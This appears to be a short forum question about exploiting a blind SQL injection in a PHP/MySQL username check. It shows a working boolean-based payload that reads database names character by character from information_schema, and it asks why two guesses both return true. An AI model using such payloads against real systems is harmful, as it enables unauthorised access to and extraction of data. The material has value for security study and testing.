I'm exploiting a blind SQL injection point, which takes a variable as username then check if the username exists in a table.
(It's running MySQL 5.X with PHP)
So I'm using this to retrieve all databases:
valid_user_name' and (
SELECT substr(hex(schema_name), 8, 1)
FROM information_schema.schemata
WHERE schema_name not in ('performance_schema','mysql','information_schema')
ORDER BY schema_name limit 0, 1) = '9' #
The first database name is radius
, so the 8th char of hex('radius')
is '9'.
With the input above the web page shows the user exist.
But when I provide character '7'
it also shows the user exist.
All the rest do not show so.
Anyone know why?
P.S You might thought the injection point is a false positive, but it's not. I have confirmed that with SQLmap.